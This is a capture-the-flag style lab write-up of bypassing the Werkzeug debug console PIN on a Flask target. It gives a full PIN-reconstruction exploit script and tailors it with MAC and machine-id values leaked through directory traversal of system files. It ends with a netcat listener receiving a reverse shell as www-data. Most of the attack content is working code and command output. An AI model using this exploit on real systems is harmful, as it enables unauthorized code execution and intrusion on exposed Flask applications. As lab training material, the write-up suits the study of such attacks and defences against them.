Werkzeug Pin Bypass


The target application has Werkzeug debuggin console enabled at the /console endpoint. Although the debugging console is locked, it can be bypassed by leveraging the discovered file read via directory traversal and an exploit to reconstruct the pin code.

Exploit


There is an article regarding exploiting the Werkzeug Console PIN

It mentions that both probably_public_bits and private_bits are required

import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]
 
private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]
 
# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

A complete exploit script is provided, but it requires modifications to fit the target environment

Modifications


probably_public_bits:

  • username: Refers to the user who initiated the Flask session.
    • jack is the sole system user
    • or it could be www-data
  • modname: Typically designated as flask.app.
    • N/A
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Generally resolves to Flask.
    • N/A
  • getattr(mod, '__file__', None): Represents the full path to app.py within the Flask directory (e.g., /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py is not applicable, try app.pyc.
    • This was exposed in the error message
      • /usr/local/lib/python3.6/dist-packages/flask/app.py

private_bits:

  • uuid.getnode(): Fetches the MAC address of the current machine, with str(uuid.getnode()) translating it into a decimal format.
  • To determine the server’s MAC address, one must identify the active network interface used by the app (e.g., ens3). In cases of uncertainty, leak /proc/net/arp to find the device ID, then extract the MAC address from /sys/class/net/<device id>/address.
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/proc/net/arp" | base64
L3Byb2MvbmV0L2FycA==

The device is ens160

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/sys/class/net/ens160/address" | base64
L3N5cy9jbGFzcy9uZXQvZW5zMTYwL2FkZHJlc3M=

The MAC address of the target system is 00:50:56:9e:c9:e8

  • Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ python3 -c 'print(0x0050569ec9e8)'            
345050630632

345050608128

  • get_machine_id(): Concatenates data from /etc/machine-id or /proc/sys/kernel/random/boot_id with the first line of /proc/self/cgroup post the last slash (/).
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/etc/machine-id" | base64
L2V0Yy9tYWNoaW5lLWlk

00566233196142e9961b4ea12a2bdb29

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/proc/self/cgroup" | base64
L3Byb2Mvc2VsZi9jZ3JvdXA=

blog.service

Updated Exploit


import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.6/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]
 
private_bits = [
    '345050630632',  # /sys/class/net/ens160/address
    '00566233196142e9961b4ea12a2bdb29'  # /etc/machine-id only. Appending blog.service failed
]
 
h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
#h = hashlib.sha1() # This is commented since the target instance is 1.0.1
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

Updating the exploit script

Exploitation


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ python3 werkzeug_pin_bypass.py
323-549-291

Unlocked

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ nnc 9999                         
listening on [any] 9999 ...
connect to [192.168.45.215] from (UNKNOWN) [192.168.209.103] 40512
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
www-data@reconstruction:~/blog$ whoami
whoami
www-data
www-data@reconstruction:~/blog$ hostname
hostname
reconstruction
www-data@reconstruction:~/blog$ ifconfig
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.209.103  netmask 255.255.255.0  broadcast 192.168.209.255
        ether 00:50:56:9e:77:35  txqueuelen 1000  (Ethernet)
        RX packets 782  bytes 74100 (74.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 671  bytes 345647 (345.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 120  bytes 10144 (10.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 120  bytes 10144 (10.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the www-data user via exploiting Werkzeug Console PIN